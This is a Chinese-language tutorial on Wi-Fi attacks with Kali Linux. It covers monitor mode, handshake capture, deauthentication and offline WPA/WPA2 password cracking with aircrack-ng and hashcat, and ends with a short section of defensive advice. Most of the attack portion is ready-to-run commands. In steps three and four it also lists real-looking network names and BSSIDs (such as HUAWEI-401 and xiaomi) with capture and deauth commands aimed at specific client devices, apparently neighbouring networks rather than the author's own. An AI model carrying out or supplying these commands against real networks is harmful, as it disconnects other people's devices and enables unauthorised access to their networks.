Kali Linux 无线网络安全审计指南:外接网卡与 WPA/WPA2 握手包抓取实战
目录
实验环境与硬件准备
虚拟机 USB 直通与驱动配置
无线安全审计基本原理
实战步骤详解:四次握手包捕获与分析
离线字典破解与 Hashcat GPU 加速
常见问题与排错指南 (Troubleshooting)
无线网络安全加固防御建议
1. 实验环境与硬件准备
在虚拟机(VMware Workstation 或 VirtualBox)中运行 Kali Linux 时,虚拟机无法直接使用笔记本内置的无线网卡进行监听(内置网卡会被宿主机虚拟化为有线网卡 eth0)。因此,必须使用支持监听模式(Monitor Mode)和数据包注入(Packet Injection)的外接 USB 无线网卡。
1.1 推荐无线网卡芯片列表
| 芯片型号 | 频段支持 | 驱动支持 | 特点/评价 |
|---|---|---|---|
| Atheros AR9271 | 2.4 GHz | 内核免驱 (ath9k_htc) | 经典抓包芯片,极度稳定,即插即用 |
| Ralink RT3070 / RT5370 | 2.4 GHz | 内核免驱 (rt2800usb) | 便宜普及,支持监听与注入 |
| Realtek RTL8812AU | 2.4 GHz / 5 GHz | 需编译安装驱动 | 双频 AC 网卡,功率高,现代主流首选 |
| MediaTek MT7612U | 2.4 GHz / 5 GHz | 主流内核内置驱动 | 支持 5G 频段,性能优秀 |
注意:市面上普通的 Wi-Fi 接收器(如常见无说明的廉价网卡)绝大多数不支持Monitor Mode,购买前务必确认芯片型号。
2. 虚拟机 USB 直通与驱动配置
2.1 设置 USB 控制器
关闭 Kali Linux 虚拟机。
进入虚拟机设置:
虚拟机->设置->USB 控制器。将 USB 兼容性设置为USB 3.1或USB 3.0(取决于网卡接口规格)。
勾选“显示所有 USB 输入设备”以及“自动连接新的 USB 设备”。
2.2 USB 设备挂载
启动 Kali Linux 并登录系统。
将外接 USB 网卡插入电脑。
在 VMware 菜单栏选择
虚拟机->可移动设备->[你的网卡名称]->连接(断开与主机连接)。
2.3 验证网卡识别与驱动状态
打开终端,运行以下命令:
Bash
# 查看 USB 设备列表,确认硬件是否被系统读取 lsusb # 查看无线网卡接口名称 iwconfig如果iwconfig中出现了wlan0或wlan1,说明系统已成功识别网卡。
若使用 RTL8812AU / RTL8814AU 等双频网卡驱动安装:
如果网卡能通过lsusb看到,但iwconfig识别不出无线接口,通常是因为缺少驱动。运行以下命令安装驱动:
Bash
sudo apt update sudo apt install -y realtek-rtl8812au-dkms sudo reboot3. 无线安全审计基本原理
3.1 WPA/WPA2 四次握手(4-Way Handshake)
WPA/WPA2-PSK 加密协议在客户端与无线 AP(路由器)建立连接时,会通过四次数据包交换(4-Way Handshake)来协商会话密钥(PTK),而无需在空中传输明文密码。
四次握手的主要参数包括:
ANonce:AP 生成的随机数
SNonce:客户端生成的随机数
AP MAC & Client MAC:双方的物理地址
MIC (Message Integrity Code):消息完整性校验码
网络审计的核心思路是:在空中抓取包含这些参数的 4 个握手数据包(通常只需抓到前 2 个或第 2、3 个包),然后在本地通过字典穷举密码,使用相同的算法推算 MIC,当推算的 MIC 与抓到的 MIC 一致时,即代表密码匹配成功。
4. 实战步骤详解:四次握手包捕获与分析
+------------------+ +--------------------+ +-------------------+ | 1. 开启 Monitor | -----> | 2. 扫描周边 WPA AP | -----> | 3. 锁定目标频道 | | (airmon-ng) | | (airodump-ng) | | 抓取 handshake | +------------------+ +--------------------+ +-------------------+ | +------------------+ +--------------------+ | | 5. 字典离线破解 | <----- | 4. 发送 Deauth 包 | <----------------+ | (aircrack-ng) | | 强制客户端重连 | +------------------+ +--------------------+步骤一:清理冲突进程并开启监听模式
网络管理器(如NetworkManager)会自动占用网卡尝试连接 Wi-Fi,这会干扰监听模式。
Bash
# 1. 停止干扰进程 sudo airmon-ng check kill # 2. 开启监听模式 sudo airmon-ng start wlan0执行成功后,网卡接口名称通常会变为wlan0mon(部分新内核可能保持wlan0)。
验证接口状态:
Bash
iwconfig观察Mode:Monitor是否已生效。
步骤二:扫描周围无线网络
使用airodump-ng接收空气中的 Beacon 广播帧,定位目标网络:
Bash
sudo airodump-ng wlan0mon终端界面将实时显示搜索到的无线 AP:
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID -------------------------------------------------------------------------------- AA:BB:CC:DD:EE:FF -42 45 102 2 6 130 WPA2 CCMP PSK MyHomeWifi 11:22:33:44:55:66 -70 12 0 0 11 54e WPA2 CCMP PSK NeighborNet BSSID STATION PWR Rate Lost Frames Notes Probes AA:BB:CC:DD:EE:FF 99:88:77:66:55:44 -38 0 - 1 0 18关键字段含义解析:
BSSID:路由器的 MAC 地址。
PWR:信号强度(数字越接近 0 信号越强,例如 -42 比 -70 强)。
CH:信道(Channel)。
ENC / CIPHER:加密方式(WPA2 CCMP)。
ESSID:Wi-Fi 名称。
STATION:下方列表中连接到该路由器的客户端 MAC 地址(抓取握手包必须有活跃客户端)。
按Ctrl + C停止全频段扫描。
步骤三:针对目标 AP 锁定抓包
找到自建的目标 AP 后(假设 BSSID 为AA:BB:CC:DD:EE:FF,信道为6),启动定向抓包并将结果保存到文件中:
Bash
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w /home/kali/handshake wlan0mon-c 6:锁定在信道 6(防止跳频导致丢包)。-w /home/kali/handshake:将输出的捕获文件命名为handshake-01.cap。
此时保持该终端运行,不要关闭。
0C:B5:27:5D:90:E0 MizukawaAsami
sudo airodump-ng --bssid 0C:B5:27:5D:90:E0 -c 11 -w /home/kali/handshake wlan0mon
A2:FD:99:32:FA:9F HUAWEI-401
sudo airodump-ng --bssid A2:FD:99:32:FA:9F -c 11 -w /home/kali/handshake wlan0mon
B0:A4:F0:B8:12:30 CU_5Tch
sudo airodump-ng --bssid B0:A4:F0:B8:12:30 -c 11 -w /home/kali/handshake wlan0mon
50:64:2B:32:9B:36 xiaomi
sudo airodump-ng --bssid 50:64:2B:32:9B:36 -c 7 -w /home/kali/handshake wlan0mon
步骤四:发送取消验证帧(Deauth Attack)触发重连
要捕获四次握手,必须有设备“正在连接”路由器。如果客户端已经连上,我们可以向客户端发送解除认证帧(Deauthentication Frame),迫使其断开并在数秒内自动重连,从而捕获重连时的握手包。
打开第二个终端窗口,运行:
Bash
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 99:88:77:66:55:44 wlan0mon--deauth 5:发送 5 个 Deauth 攻击包。-a AA:BB:CC:DD:EE:FF:目标的 BSSID(路由器 MAC)。-c 99:88:77:66:55:44:目标客户端的 MAC 地址。
sudo aireplay-ng --deauth 5 -a B0:A4:F0:B8:12:30 -c 52:62:51:9E:CC:6B wlan0mon
sudo aireplay-ng --deauth 5 -a 0C:B5:27:5D:90:E0 -c F0:C9:D1:BA:29:CB wlan0mon
sudo aireplay-ng --deauth 5 -a A2:FD:99:32:FA:9F -c 46:EE:CA:4F:45:1B wlan0mon
sudo aireplay-ng --deauth 5 -a 50:64:2B:32:9B:36 -c D4:80:8B:21:4A:8F wlan0mon
返回第一个终端(airodump-ng界面),观察右上角:
如果成功捕获,右上角会出现显眼的提示:
[ WPA handshake: AA:BB:CC:DD:EE:FF ]
一旦出现该提示,按Ctrl + C停止抓包。在指定路径下会生成handshake-01.cap文件。
5. 离线字典破解与 Hashcat GPU 加速
握手包抓取完成后,后续所有的破解计算均在本地离线进行,不再需要网卡或连接无线网络。
5.1 使用 Aircrack-ng 进行 CPU 破解
Kali 默认自带基础字典/usr/share/wordlists/rockyou.txt.gz,先将其解压:
Bash
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz运行aircrack-ng进行碰撞:
Bash
aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/kali/handshake-01.cap终端将逐行测试字典中的密码。由于 CPU 计算哈希的速度较慢(每秒几千到几万次),破解长复杂密码效率较低。
5.2 使用 Hashcat 进行 GPU 高速破解
使用显卡(Nvidia/AMD)的 CUDA/OpenCL 算力可将破解速度提升数百倍。
步骤 1:格式转换 (cap -> hc22000)
现代 Hashcat 使用.hc22000格式。可以使用hcxpcapngtool转换:
Bash
sudo apt install -y hcxtools hcxpcapngtool -o output.hc22000 /home/kali/handshake-01.cap步骤 2:在 Hashcat 中运行字典破解
WPA/WPA2 在 Hashcat 中的模式编号为22000:
Bash
hashcat -m 22000 output.hc22000 /usr/share/wordlists/rockyou.txt -a 0-m 22000:指定 WPA/WPA2/WPA3 散列类型。-a 0:字典攻击模式(Straight)。
6. 常见问题与排错指南 (Troubleshooting)
在实际操作中,新手极易遭遇各种硬件与软件故障。下表列出了最常见的问题及解决方法:
| 故障现象 | 潜在原因 | 排错与解决方案 |
|---|---|---|
iwconfig找不到wlan0 | 1. 虚拟机未挂载 USB 设备 2. 缺少驱动 | 1. 检查 VMware 右下角 USB 图标是否连接至 Guest。 2. 运行 dmesg \| tail -n 20查看内核日志,确认缺少何种固件并安装。 |
aireplay-ng提示fixed channel wlan0mon: -1 | 网卡信道锁定机制异常 | 在启动airodump-ng时显示指定信道,或者先用iwconfig wlan0mon channel X手动锁定信道后再攻击。 |
| 发送 Deauth 包后设备未断开 | 1. 距离过远/信号较弱 2. 路由器开启了 802.11w (PMF) 3. 5GHz 频段问题 | 1. 靠近目标 AP。 2. 现代路由器开启受保护的管理帧(PMF)后防 Deauth 攻击,需等待客户端自然重连。 3. 确认网卡是否支持 5G 频段。 |
| 抓不到 Handshake | 1. 抓包时无客户端活动 2. 丢包严重 | 确保airodump-ng下方有活跃的STATION接入,多尝试几次 Deauth。 |
提示NetworkManager is running | 后台网络管理服务抢占接口 | 务必运行sudo airmon-ng check kill彻底杀掉冲突进程。 |
7. 无线网络安全加固防御建议
通过对无线握手包破解过程的了解,可以采取以下措施保护自家 Wi-Fi 免受破解:
强密码策略:WPA2 的安全性完全取决于 PSK 密码的复杂程度。使用 16 位以上包含“大小写字母 + 数字 + 特殊符号”的无规律组合,能彻底免疫字典与掩码破解。
升级至 WPA3-Personal:WPA3 引入了SAE (Simultaneous Authentication of Equals)对等实体同时验证协议,具备防止离线字典碰撞攻击(前向安全性)的能力。
启用 PMF(保护管理帧):在路由器中开启802.11w / Management Frame Protection,可有效防御 Deauth 强行切断连接的攻击。
关闭 WPS (Wi-Fi Protected Setup):WPS 协议存在 PIN 码穷举漏洞(Reaver / Pixie Dust 攻击),应在路由器管理后台禁用 WPS 功能。